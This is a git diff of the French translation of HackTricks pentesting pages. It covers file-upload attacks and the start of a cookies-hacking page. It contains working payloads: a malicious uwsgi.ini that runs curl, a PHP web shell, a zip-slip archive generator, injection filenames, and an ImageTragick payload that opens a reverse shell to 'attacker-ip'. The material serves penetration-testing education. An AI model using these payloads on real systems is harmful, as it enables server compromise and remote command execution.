Si vous essayez de téléverser des fichiers sur un **serveur PHP**, [jetez un œil à l'astuce **.htaccess** pour exécuter du code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Si vous essayez de téléverser des fichiers sur un **serveur ASP**, [jetez un œil à l'astuce **.config** pour exécuter du code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Les fichiers `.phar` sont comme les fichiers `.jar` pour Java, mais pour PHP, et peuvent être **utilisés comme un fichier PHP** (en l'exécutant avec PHP ou en l'incluant dans un script...)
|
||||
Les fichiers `.phar` sont comme les `.jar` pour Java, mais pour PHP, et peuvent être **utilisés comme un fichier PHP** (en l'exécutant avec PHP, ou en l'incluant dans un script...)
|
||||
|
||||
L'extension `.inc` est parfois utilisée pour les fichiers PHP qui sont uniquement utilisés pour **importer des fichiers**, donc, à un moment donné, quelqu'un aurait pu autoriser **cette extension à être exécutée**.
|
||||
L'extension `.inc` est parfois utilisée pour des fichiers PHP qui sont uniquement utilisés pour **importer des fichiers**, donc, à un moment donné, quelqu'un pourrait avoir permis **à cette extension d'être exécutée**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Si vous pouvez télécharger un fichier XML sur un serveur Jetty, vous pouvez obtenir [une RCE car les nouveaux fichiers \*.xml et \*.war sont automatiquement traités](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Donc, comme mentionné dans l'image suivante, téléchargez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell !
|
||||
Si vous pouvez téléverser un fichier XML sur un serveur Jetty, vous pouvez obtenir un [RCE car **les nouveaux fichiers \*.xml et \*.war sont automatiquement traités**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Ainsi, comme mentionné dans l'image suivante, téléversez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell !
|
||||
|
||||
![](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
Si vous pouvez remplacer le fichier de configuration `.ini` d'un [**serveur uWSGI, vous pouvez obtenir une RCE**](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)**.** En effet, les fichiers de configuration uWSGI peuvent inclure des variables "magiques", des espaces réservés et des opérateurs définis avec une syntaxe précise. L'opérateur '@' en particulier est utilisé sous la forme de @(nom du fichier) pour inclure le contenu d'un fichier. De nombreux schémas uWSGI sont pris en charge, y compris "exec" - utile pour lire la sortie standard d'un processus. Ces opérateurs peuvent être utilisés pour l'exécution de commandes à distance ou l'écriture/lecture arbitraire de fichiers lorsqu'un fichier de configuration .ini est analysé :
|
||||
Si vous pouvez remplacer le fichier de configuration `.ini` d'un [**serveur uWSGI, vous pouvez obtenir un RCE**](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)**.** En effet, les fichiers de configuration uWSGI peuvent inclure des variables “magiques”, des espaces réservés et des opérateurs définis avec une syntaxe précise. L'opérateur '@' en particulier est utilisé sous la forme @(nom de fichier) pour inclure le contenu d'un fichier. De nombreux schémas uWSGI sont pris en charge, y compris “exec” - utile pour lire la sortie standard d'un processus. Ces opérateurs peuvent être utilisés pour l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsqu'un fichier de configuration .ini est analysé :
|
||||
|
||||
Exemple de fichier `uwsgi.ini` malveillant :
|
||||
Exemple de fichier malveillant `uwsgi.ini` :
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
|
@ -140,14 +142,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
|||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Lorsque le fichier de **configuration** sera **analysé**, la **charge utile** sera **exécutée**. Notez que pour que la configuration soit analysée, le **processus doit être redémarré** (plantage ? DoS ?) ou le fichier **rechargé automatiquement** (une option en cours d'utilisation indique les secondes pour recharger le fichier en cas de modification).
|
||||
Lorsque le fichier de **configuration** sera **analysé**, le **payload** sera **exécuté**. Notez que pour que la configuration soit analysée, le **processus doit être redémarré** (crash ? DoS ?) ou le fichier doit être **rechargé automatiquement** (une option qui pourrait être utilisée indique les secondes pour recharger le fichier si un changement est détecté).
|
||||
|
||||
**Note importante :** L'analyse du fichier de configuration par uWSGI est laxiste. La charge utile précédente peut être intégrée dans un fichier binaire (par exemple, une image, un PDF, ...).
|
||||
**Note importante :** L'analyse du fichier de configuration par uWSGI est laxiste. Le payload précédent peut être intégré à l'intérieur d'un fichier binaire (par exemple, image, pdf, ...).
|
||||
|
||||
## **Astuce de téléchargement de fichier/SSRF avec wget**
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
Dans certaines situations, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et vous pouvez **indiquer** l'**URL**. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés se trouve dans une liste blanche pour s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, **cette vérification peut être contournée**.\
|
||||
La **longueur maximale** d'un **nom de fichier** sous **Linux** est de **255**, cependant, **wget** tronque les noms de fichiers à **236** caractères. Vous pouvez **télécharger un fichier appelé "A"\*232+".php"+".gif"**, ce nom de fichier **contournera** la **vérification** (comme dans cet exemple **".gif"** est une extension **valide**) mais `wget` renommera le fichier en **"A"\*232+".php"**.
|
||||
Dans certains cas, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et vous pouvez **indiquer** l'**URL**. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés figure dans une liste blanche pour s'assurer que seuls les fichiers autorisés vont être téléchargés. Cependant, **cette vérification peut être contournée.**\
|
||||
La **longueur maximale** d'un **nom de fichier** sous **linux** est de **255**, cependant, **wget** tronque les noms de fichiers à **236** caractères. Vous pouvez **télécharger un fichier appelé "A"\*232+".php"+".gif"**, ce nom de fichier **contournera** la **vérification** (comme dans cet exemple **".gif"** est une extension **valide**) mais `wget` **renommera** le fichier en **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
|
@ -170,7 +172,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Notez qu'une **autre option** à laquelle vous pourriez penser pour contourner cette vérification est de faire en sorte que le serveur HTTP redirige vers un fichier différent, de sorte que l'URL initiale contourne la vérification, puis wget téléchargera le fichier redirigé avec le nouveau nom. Cela **ne fonctionnera pas** **à moins que** wget ne soit utilisé avec le **paramètre** `--trust-server-names` car **wget téléchargera la page redirigée avec le nom du fichier indiqué dans l'URL d'origine**.
|
||||
Notez qu'**une autre option** à laquelle vous pourriez penser pour contourner cette vérification est de faire en sorte que le **serveur HTTP redirige vers un fichier différent**, de sorte que l'URL initiale contourne la vérification, mais ensuite wget téléchargera le fichier redirigé avec le nouveau nom. Cela **ne fonctionnera pas** **à moins** que wget soit utilisé avec le **paramètre** `--trust-server-names` car **wget téléchargera la page redirigée avec le nom du fichier indiqué dans l'URL originale**.
|
||||
|
||||
#### Autres ressources
|
||||
|
||||
|
@ -181,36 +183,36 @@ Notez qu'une **autre option** à laquelle vous pourriez penser pour contourner c
|
|||
|
||||
## Outils
|
||||
|
||||
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) est un outil puissant conçu pour aider les testeurs de pénétration et les chasseurs de bugs à tester les mécanismes de téléchargement de fichiers. Il exploite diverses techniques de chasse aux bugs pour simplifier le processus d'identification et d'exploitation des vulnérabilités, garantissant ainsi des évaluations approfondies des applications web.
|
||||
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) est un outil puissant conçu pour aider les Pentesters et les chercheurs de bugs dans le test des mécanismes de téléchargement de fichiers. Il utilise diverses techniques de bug bounty pour simplifier le processus d'identification et d'exploitation des vulnérabilités, assurant des évaluations approfondies des applications web.
|
||||
|
||||
## Du téléchargement de fichiers à d'autres vulnérabilités
|
||||
## Du téléchargement de fichier à d'autres vulnérabilités
|
||||
|
||||
* Définissez le **nom de fichier** sur `../../../tmp/lol.png` et essayez d'obtenir une **traversée de chemin**
|
||||
* Définissez le **nom de fichier** sur `sleep(10)-- -.jpg` et vous pourrez peut-être obtenir une **injection SQL**
|
||||
* Définissez le **nom de fichier** sur `<svg onload=alert(document.domain)>` pour obtenir une XSS
|
||||
* Définissez le **nom de fichier** sur `; sleep 10;` pour tester une injection de commandes (plus de [trucs d'injection de commandes ici](../command-injection.md))
|
||||
* [**XSS** dans le téléchargement de fichiers image (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* Téléchargement de fichiers **JS** + **XSS** = [exploitation des **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE dans le téléchargement de fichiers svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Redirection ouverte** via le téléchargement de fichiers svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Essayez **différentes charges utiles svg** à partir de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [Vulnérabilité de l'**ImageTrick** célèbre](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Si vous pouvez **indiquer au serveur web de récupérer une image à partir d'une URL**, vous pouvez essayer d'exploiter une [SSRF](../ssrf-server-side-request-forgery/). Si cette **image** doit être **enregistrée** sur un site **public**, vous pouvez également indiquer une URL à partir de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) et **voler les informations de chaque visiteur**.
|
||||
* [**Contournement de XXE et CORS** avec le téléchargement de fichiers PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* PDF spécialement conçus pour XSS : La [page suivante présente comment **injecter des données PDF pour obtenir une exécution JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez télécharger des PDF, vous pouvez préparer un PDF qui exécutera du JS arbitraire en suivant les indications données.
|
||||
* Téléchargez le contenu \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) pour vérifier si le serveur dispose d'un **antivirus**
|
||||
* Définissez **filename** à `../../../tmp/lol.png` et essayez de réaliser une **path traversal**
|
||||
* Définissez **filename** à `sleep(10)-- -.jpg` et vous pourriez réaliser une **SQL injection**
|
||||
* Définissez **filename** à `<svg onload=alert(document.domain)>` pour réaliser un XSS
|
||||
* Définissez **filename** à `; sleep 10;` pour tester une injection de commande (plus de [trucs d'injection de commande ici](../command-injection.md))
|
||||
* [**XSS** dans le téléchargement d'image (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* Téléchargement de fichier **JS** + **XSS** = [Exploitation des **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE dans le téléchargement de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Open Redirect** via le téléchargement de fichier svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Essayez **différents payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [Vulnérabilité **ImageTrick** célèbre](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Si vous pouvez **indiquer au serveur web de récupérer une image depuis une URL**, vous pourriez essayer d'abuser d'une [SSRF](../ssrf-server-side-request-forgery/). Si cette **image** va être **sauvegardée** sur un site **public**, vous pourriez également indiquer une URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) et **voler des informations de chaque visiteur**.
|
||||
* [**XXE et contournement de CORS** avec le téléchargement de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* PDFs spécialement conçus pour XSS : [La page suivante présente comment **injecter des données PDF pour obtenir l'exécution de JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez télécharger des PDFs, vous pourriez préparer un PDF qui exécutera du JS arbitraire en suivant les indications données.
|
||||
* Téléchargez le contenu de \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) pour vérifier si le serveur a un **antivirus**
|
||||
* Vérifiez s'il y a une **limite de taille** pour le téléchargement de fichiers
|
||||
|
||||
Voici une liste des 10 principales choses que vous pouvez réaliser en téléchargeant des fichiers (à partir de [ce lien](https://twitter.com/SalahHasoneh1/status/1281274120395685889)) :
|
||||
Voici une liste des 10 principales choses que vous pouvez réaliser en téléchargeant (depuis [lien](https://twitter.com/SalahHasoneh1/status/1281274120395685889)) :
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3** : Webshell / RCE
|
||||
2. **SVG** : XSS stockée / SSRF / XXE
|
||||
3. **GIF** : XSS stockée / SSRF
|
||||
2. **SVG** : XSS stocké / SSRF / XXE
|
||||
3. **GIF** : XSS stocké / SSRF
|
||||
4. **CSV** : Injection CSV
|
||||
5. **XML** : XXE
|
||||
6. **AVI** : LFI / SSRF
|
||||
7. **HTML / JS** : Injection HTML / XSS / Redirection ouverte
|
||||
8. **PNG / JPEG** : Attaque de saturation de pixels (DoS)
|
||||
8. **PNG / JPEG** : Attaque par inondation de pixels (DoS)
|
||||
9. **ZIP** : RCE via LFI / DoS
|
||||
10. **PDF / PPTX** : SSRF / XXE aveugle
|
||||
|
||||
|
@ -218,18 +220,18 @@ Voici une liste des 10 principales choses que vous pouvez réaliser en télécha
|
|||
|
||||
{% embed url="https://github.com/portswigger/upload-scanner" %}
|
||||
|
||||
## En-têtes magiques
|
||||
## Magic Header Bytes
|
||||
|
||||
* **PNG** : `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
* **JPG** : `"\xff\xd8\xff"`
|
||||
|
||||
Reportez-vous à [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) pour d'autres types de fichiers.
|
||||
Référez-vous à [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) pour d'autres types de fichiers.
|
||||
|
||||
### Téléchargement automatique de fichiers Zip/Tar décompressés
|
||||
|
||||
Si vous pouvez télécharger un fichier ZIP qui va être décompressé à l'intérieur du serveur, vous pouvez faire 2 choses :
|
||||
Si vous pouvez télécharger un ZIP qui va être décompressé à l'intérieur du serveur, vous pouvez faire 2 choses :
|
||||
|
||||
#### Lien symbolique
|
||||
#### Symlink
|
||||
|
||||
Téléchargez un lien contenant des liens symboliques vers d'autres fichiers, puis, en accédant aux fichiers décompressés, vous accéderez aux fichiers liés :
|
||||
```
|
||||
|
@ -241,16 +243,16 @@ tar -cvf test.tar symindex.txt
|
|||
|
||||
Les fichiers décompressés seront créés dans des dossiers inattendus.
|
||||
|
||||
On pourrait facilement supposer que cette configuration protège contre l'exécution de commandes au niveau du système d'exploitation via des téléchargements de fichiers malveillants, mais malheureusement ce n'est pas vrai. Étant donné que le format d'archive ZIP prend en charge la compression hiérarchique et que nous pouvons également faire référence à des répertoires de niveaux supérieurs, nous pouvons échapper au répertoire de téléchargement sécurisé en exploitant la fonction de décompression de l'application cible.
|
||||
On pourrait facilement supposer que cette configuration protège contre l'exécution de commandes au niveau du système d'exploitation via des téléversements de fichiers malveillants, mais malheureusement ce n'est pas le cas. Étant donné que le format d'archive ZIP prend en charge la compression hiérarchique et que nous pouvons également faire référence à des répertoires de niveau supérieur, nous pouvons nous échapper du répertoire de téléversement sécurisé en abusant de la fonction de décompression de l'application cible.
|
||||
|
||||
Une exploitation automatisée pour créer ce type de fichiers peut être trouvée ici : [**https://github.com/ptoomey3/evilarc**](https://github.com/ptoomey3/evilarc)
|
||||
Un exploit automatisé pour créer ce type de fichiers peut être trouvé ici : [**https://github.com/ptoomey3/evilarc**](https://github.com/ptoomey3/evilarc)
|
||||
```python
|
||||
python2 evilarc.py -h
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Vous pouvez également utiliser le **truc du lien symbolique avec evilarc**, si le drapeau se trouve dans `/flag.txt`, assurez-vous de créer un **lien symbolique vers ce fichier** et de **créer ce fichier dans votre système** afin que lorsque vous appelez evilarc, il ne génère pas d'erreur.
|
||||
Vous pouvez également utiliser **l'astuce du lien symbolique avec evilarc**, si le flag se trouve dans `/flag.txt` assurez-vous de créer un **lien symbolique vers ce fichier** et **créez ce fichier dans votre système** afin que lorsque vous exécutez evilarc, il **ne génère pas d'erreur**.
|
||||
|
||||
Voici du code Python pour créer une archive zip malveillante :
|
||||
Voici du code python pour créer une archive zip malveillante :
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
|
@ -268,7 +270,7 @@ zip.close()
|
|||
|
||||
create_zip()
|
||||
```
|
||||
Pour réaliser l'exécution de commandes à distance, j'ai suivi les étapes suivantes :
|
||||
Pour réaliser une exécution de commande à distance, j'ai suivi les étapes suivantes :
|
||||
|
||||
1. Créer un shell PHP :
|
||||
```php
|
||||
|
@ -278,7 +280,7 @@ $cmd = ($_REQUEST['cmd']);
|
|||
system($cmd);
|
||||
}?>
|
||||
```
|
||||
1. Utilisez la technique de "file spraying" et créez un fichier zip compressé :
|
||||
1. Utilisez le « file spraying » et créez un fichier zip compressé :
|
||||
```
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# ls *.php
|
||||
|
@ -298,13 +300,14 @@ adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
|||
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||||
root@s2crew:/tmp#
|
||||
```
|
||||
3. Utilisez un éditeur hexadécimal ou vi et remplacez "xxA" par "../", j'ai utilisé vi :
|
||||
3.Utilisez un éditeur hexadécimal ou vi et changez "xxA" en "../", j'ai utilisé vi :
|
||||
```
|
||||
:set modifiable
|
||||
:%s/xxA/..\//g
|
||||
:x!
|
||||
```
|
||||
Il ne reste plus qu'une étape : téléchargez le fichier ZIP et laissez l'application le décompresser ! Si cela réussit et que le serveur web dispose des privilèges suffisants pour écrire dans les répertoires, un simple shell d'exécution de commandes OS sera disponible sur le système :
|
||||
```
|
||||
Il ne restait plus qu'une étape : téléverser le fichier ZIP et laisser l'application le décompresser ! Si cela réussit et que le serveur web a suffisamment de privilèges pour écrire dans les répertoires, il y aura un shell d'exécution de commandes OS simple sur le système :
|
||||
|
||||
[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
|
||||
|
||||
|
@ -312,42 +315,45 @@ Il ne reste plus qu'une étape : téléchargez le fichier ZIP et laissez l'appli
|
|||
|
||||
## ImageTragic
|
||||
|
||||
Téléchargez ce contenu avec une extension d'image pour exploiter la vulnérabilité **(ImageMagick, 7.0.1-1)**
|
||||
Téléversez ce contenu avec une extension d'image pour exploiter la vulnérabilité **(ImageMagick , 7.0.1-1)**
|
||||
```
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## Intégration d'un shell PHP dans une image PNG
|
||||
## Intégration d'un PHP Shell dans un PNG
|
||||
|
||||
La principale raison de placer un shell web dans le chunk IDAT est qu'il a la capacité de contourner les opérations de redimensionnement et de rééchantillonnage - PHP-GD contient deux fonctions pour cela [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) et [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
|
||||
La raison principale de l'insertion d'un web shell dans le chunk IDAT est qu'il peut contourner les opérations de redimensionnement et de rééchantillonnage - PHP-GD contient deux fonctions pour cela [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) et [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
|
||||
|
||||
Lisez cet article: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
Lisez ce post : [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Fichiers polyglottes
|
||||
## Fichiers Polyglottes
|
||||
|
||||
Les polyglottes, dans un contexte de sécurité, sont des fichiers qui sont une forme valide de plusieurs types de fichiers différents. Par exemple, un [GIFAR](https://en.wikipedia.org/wiki/Gifar) est à la fois un fichier GIF et un fichier RAR. Il existe également des fichiers qui peuvent être à la fois GIF et JS, à la fois PPT et JS, etc.
|
||||
Les polyglottes, dans un contexte de sécurité, sont des fichiers qui sont une forme valide de plusieurs types de fichiers différents. Par exemple, un [GIFAR](https://en.wikipedia.org/wiki/Gifar) est à la fois un fichier GIF et RAR. Il existe également des fichiers qui peuvent être à la fois GIF et JS, PPT et JS, etc.
|
||||
|
||||
Les fichiers polyglottes sont souvent utilisés pour contourner la protection basée sur les types de fichiers. De nombreuses applications qui permettent aux utilisateurs de télécharger des fichiers n'autorisent que certains types de fichiers, tels que JPEG, GIF, DOC, afin d'empêcher les utilisateurs de télécharger des fichiers potentiellement dangereux tels que des fichiers JS, des fichiers PHP ou des fichiers Phar.
|
||||
Les fichiers polyglottes sont souvent utilisés pour contourner la protection basée sur les types de fichiers. De nombreuses applications qui permettent aux utilisateurs de télécharger des fichiers n'autorisent que certains types, tels que JPEG, GIF, DOC, afin d'empêcher les utilisateurs de télécharger des fichiers potentiellement dangereux comme les fichiers JS, PHP ou Phar.
|
||||
|
||||
Cela permet de télécharger un fichier qui est conforme au format de plusieurs formats différents. Cela vous permet de télécharger un fichier PHAR (PHp ARchive) qui ressemble également à un JPEG, mais vous aurez probablement toujours besoin d'une extension valide et si la fonction de téléchargement ne le permet pas, cela ne vous aidera pas.
|
||||
Cela aide à télécharger un fichier qui respecte le format de plusieurs formats différents. Cela peut vous permettre de télécharger un fichier PHAR (PHp ARchive) qui ressemble également à un JPEG, mais vous aurez probablement encore besoin d'une extension valide et si la fonction de téléchargement ne le permet pas, cela ne vous aidera pas.
|
||||
|
||||
Plus d'informations sur: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
Plus d'informations sur : [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Astuce pour les primes de bug**: **inscrivez-vous** sur **Intigriti**, une **plateforme premium de primes de bug créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $**!
|
||||
**Conseil pour les chasseurs de bugs** : **inscrivez-vous** sur **Intigriti**, une plateforme de bug bounty premium créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,20 +1,22 @@
|
|||
# Cookies Hacking
|
||||
# Piratage de Cookies
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
